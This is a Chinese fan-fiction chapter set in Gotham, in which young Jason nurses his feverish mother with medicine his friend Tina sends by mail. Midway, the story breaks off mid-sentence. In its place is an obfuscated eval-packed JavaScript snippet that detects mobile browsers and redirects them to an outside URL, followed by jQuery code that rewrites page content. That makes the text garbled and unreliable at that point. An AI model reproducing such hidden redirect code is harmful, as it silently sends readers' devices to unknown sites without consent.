杰森把水杯放在床头柜上，杯底落在桌面的时候发出一声轻响。
他侧耳听了听——凯瑟琳的呼吸还算平稳，没有再咳嗽。
这几天她几乎没怎么睡，每次刚闭上眼睛就会被一阵剧烈的咳嗽呛醒，然后整个人蜷缩在被子里，咳得浑身发抖。杰森守在旁边，什么也做不了，只能在她咳完之后递上一杯温水，帮她拍拍背。
今天早上，凯瑟琳终于睡着了。不是那种浅而碎的、随时会醒的觉，而是真正沉下去的、呼吸均匀的睡眠。杰森在她床边坐了很久，确认她不会突然咳醒，才轻手轻脚地站起来，把被子往上拉了拉，遮住她露在外面的肩膀。
然后他小心地掩上卧室的门，走到客厅，拿起信纸，展开。
缇娜的字迹工工整整，和前几天求救时那副潦草的样子判若两人——看得出来她写得很认真，每一个字母都写得清清楚楚，生怕他看错。
「杰森，药已经给你送过去了。我问了我妈妈，她说这些药是治感冒和咳嗽的，一次一片，一天三次。多喝水，多休息。」
「你妈妈一定会好起来的！」
杰森盯着这几行字，一直紧锁的眉头微微舒展开来。他把信纸折好放在桌上，快步走出门，三步并作两步冲下楼梯，跑到公寓入口处那个锈迹斑斑的信箱前打开它。里面躺着一个小小的纸盒，用胶带缠了好几圈，外面贴着一张纸条，上面是缇娜的字迹：「药。」
杰森把纸盒拿出来，捧在手心里，跑回楼上，关上房门，拆开纸盒。里面整整齐齐地码着几板药片，还有一张折成方块的纸，上面写着每一个药的用法用量。
杰森按照说明取出药片，又倒了一杯温水，端着走进卧室。
凯瑟琳还在睡。她的脸色苍白，嘴唇干裂，额头上有一层薄薄的汗。杰森在床边蹲下来，轻声唤她：“妈妈，妈妈……醒醒，把药吃了再睡。”
凯瑟琳皱了皱眉，迷迷糊糊地睁开眼睛。看到杰森的脸，她下意识地挤出一个笑容：“杰伊……怎么了？”
“吃药。”杰森把药片递到她嘴边，“吃了药就好了。”
凯瑟琳看着那粒小小的白色药片，嘴唇动了动，想问什么，但最终没有问。她撑着身子想坐起来，但手臂发软，撑到一半就没力气了。杰森赶紧把水杯放下，一手扶住她的肩膀，一手把枕头立起来垫在她背后，费力地把她撑起来。
凯瑟琳靠在他身上，杰森把药片递到她嘴边，看她含进去，然后端起水杯，小心地喂她喝了两口。
“咳、咳咳——”凯瑟琳呛了一下，杰森赶紧拍她的背，一下一下的，不敢太重，也不能太轻。
“好了，好了。”凯瑟琳握住他的手，拍了拍，“妈妈没事了……你去忙吧，别老守着我。”
凯瑟琳生病之后，一直担心自己会把感冒传染给杰森，反复叮嘱他，不要待在卧室里，离她远一点。
杰森没有说话，只是把被子重新给她盖好，把水杯放在她伸手能够到的地方。
凯瑟琳闭上眼睛，药片开始起效了。喉咙里那种火烧火燎的痛感慢慢退去，呼吸也变得顺畅了一些。她已经很久没有睡得这么安稳了。
看到母亲的表情变得安详起来以后，终于放下心的杰森轻轻带上卧室的门，在门外的地上坐下来，背靠着门板。
他把头埋在膝盖里，长长地呼出一口气——这几天，他几乎没有合眼。
事情是从一个星期前开始的。
凯瑟琳下班回来的时候有点咳嗽，但她没当回事。等到第二天，症状加重了——凯瑟琳的声音变得沙哑，说话的时候总要停下来咳几声。
但她还是去上班了，以为扛一扛就过去了……直到第三天，她回来的时候脸色白得像纸，走路都有些发飘。杰森伸手扶她，摸到她的手——滚烫的！
“妈，你在发烧。”杰森的声音有些发抖。
“没事，就是小感冒。”凯瑟琳摆了摆手，挣扎着要去厨房做饭。
杰森拦住她，把她按在沙发上，自己去厨房热了牛奶——缇娜每天送来的那瓶。他把牛奶端到凯瑟琳面前，逼着她喝下去。
凯瑟琳喝着牛奶，看着他忙碌的背影，眼眶有些发红。但她什么都没有说。
第四天……凯瑟琳起不来了。
她躺在床上，咳得整个人都在发抖，每一声咳嗽都像是要把肺咳出来。杰森守在床边，给她倒水、拍背、盖被子，能做的一切都做了。但她的体温越来越高，烧得说胡话，杰森叫她她都听不见。
杰森翻遍了家里所有的抽屉，找到一盒过期的止痛药……他知道止痛药不能治感冒，但他没有别的选择。他倒出一片，喂凯瑟琳吃下去。
那天晚上，他坐在凯瑟琳床边，听着她粗重的呼吸声，第一次感到了那种深入骨髓的恐惧——威利斯已经很久没回家了，如果凯瑟琳也……那他就什么都没有了。
“妈，我们去医院吧。”他说。
凯瑟琳摇了摇头，声音哑得几乎听不见：“没事……就是咳久了……歇两天就好了。”
杰森知道为什么——不是因为没事，是因为没钱。他们连房租都快交不起了，哪里来的钱看病？美国的医院不是慈善组织，没有钱，没有医保，于他们这种人来说，医院是比阿卡姆疯人院还要遥远的存在。
那天晚上，杰森坐在客厅里，面前摊着信纸，手里的笔拿起又放下，放下又拿起。
他不是那种会开口求助的人。在犯罪巷，求助意味着示弱，示弱意味着被人欺负。他从小就知道，自己的事情自己扛，没有人会来帮你。
但他想起了缇娜说过的话——她说，我们是朋友。
杰森闭上眼睛，深吸一口气。然后他拿起笔，写了一行字：
「缇娜，你能送些药过来吗？我妈妈生病了。」
没一会儿，回信就来了。
缇娜没有问他“你怎么不早说”，没有问他“你妈妈严不严重”，没有问任何问题。她只是说：「你等一下，我去问我妈妈。」
然后是一连串的问题。
「你妈妈什么症状？咳嗽吗？发烧吗？有没有痰？嗓子疼不疼？」
杰森一条一条地回答。
缇娜收到以后，又过了好一会儿才回信：「我妈妈说这些症状要吃消炎药和止咳药。她帮我找出来了，我现在就给你寄过去。你等着！」
杰森看着这行字，喉咙里像是堵了什么东西，说不出话来。
他低头看了一眼手里的空药盒，又看了看缇娜写的那张“用药说明”，然后把它小心折好，放进了口袋里。
他靠着门板，不知不觉就睡着了。
不知道过了多久。门开了。
杰森的身体突然失去支撑，猛地往旁边一歪。他下意识地伸手撑住地面，惊醒过来。
“杰伊？你怎么睡在这儿？”一个熟悉的声音从头顶传来。
杰森抬起头，看到凯瑟琳站在面前，脸色还是有点苍白，但眼睛里有光了——不是前几天那种浑浊的、烧得发蒙的光，而是清亮的、清醒的光。
“妈妈？”杰森的声音有些沙哑，人也有些懵懵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471820|201523||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的。
“你怎么睡在地上？着凉了怎么办？”凯瑟琳蹲下来，伸手去扶他。
杰森被她扶着站起来，膝盖有些发软。他顾不上这些，盯着凯瑟琳的脸，上下打量了好几遍：“你感觉怎么样了？还咳不咳？烧退了吗？”
“好多了。”凯瑟琳笑着说，声音还是有些哑，但比昨天清亮多了，“你看，妈妈没事了。”
她说着，还特意转了一圈，像是在证明自己真的好了。
杰森看着她，张了张嘴，想说什么，但什么也没说出来。他只是走过去，伸手抱住了她。
凯瑟琳愣了一下，然后也伸出手，环住了他的肩膀。
“好了，没事了。”她轻轻拍着他的背，“这几天辛苦你了，杰伊。”
杰森把脸埋在她的肩窝里，没有出声。
过了一会儿，杰森松开手，退后一步，表情恢复了平时的样子：“饿了吧？我去给你拿吃的。”
凯瑟琳看着他的背影，眼眶红了一下，但很快眨了眨眼睛，把那点湿意压了下去。
晚上，凯瑟琳换上那件旧工装，把头发扎起来，站在门口穿鞋。
“妈妈，你再休息一天吧。”杰森站在她身后，眉头皱得紧紧的，“你才刚好一点。”
“不行，已经请了两天假了。”凯瑟琳把鞋带系好，直起身来，“再不去上班，老板就不要我了。”
“可是——”
“杰伊。”凯瑟琳转过身，看着他的眼睛，“我知道你是为我好……但家里现在不能没有这份工作。妈妈答应你，如果觉得不舒服，就请假回来，好不好？”
杰森盯着她看了几秒，然后低下头，轻轻“嗯”了一声。
“路上小心。”杰森说。
凯瑟琳笑了笑，伸手揉了揉他的头发，然后打开门，走进了哥谭的夜色里。
杰森站在门口，看着她的背影消失在昏暗的楼道里。
他关上门，回到屋里，在书桌前坐下来。桌上还摆着缇娜寄来的那个药盒。他把药盒拿起来看了看，又放回去，然后拿起笔，给缇娜写信。
「缇娜，我妈妈好多了。谢谢你。」
信刚寄出去，回信就来了。缇娜好像一直在等他的消息。
「真的吗？太好了！！！你妈妈一定要按时吃药，多喝水，多休息！你也是，别把自己累倒了！」
杰森看着那些感叹号，嘴角微微弯了一下。
缇娜沉默了一会儿，回信的语气忽然变了，不再是那种咋咋呼呼的着急，而是一种认真的、一字一句的郑重。
「杰森，我跟你说，以后有什么事，你一定要跟我说。不管什么事，不管多难，你都要跟我说。你不说，我怎么知道你需要什么？我怎么帮你？」
杰森盯着这几行字，不知道该回什么。
缇娜又补了一句，这次用的是中文，每一个字都写得很用力，像是要通过这种方式传达她的语气：「你若不说，便是不拿我当朋友！」
杰森愣了一下，然后忍不住笑了出来。
然后，他郑重提笔，一字一句，无比认真地写下承诺：「我知道了，以后不管遇到什么事，我都会第一时间告诉你。」
写完后，杰森突然想起前几天，缇娜在信里向他倾诉的一件事，可因为母亲生病，他满心焦虑，没能仔细询问。如今母亲痊愈，他终于放下心来，于是在此刻主动开口：
「对了，你前几天说，你父母要离婚，究竟是怎么回事？如果缇娜小姐还愿意和我说的话，我保证会做一个忠实的树洞。」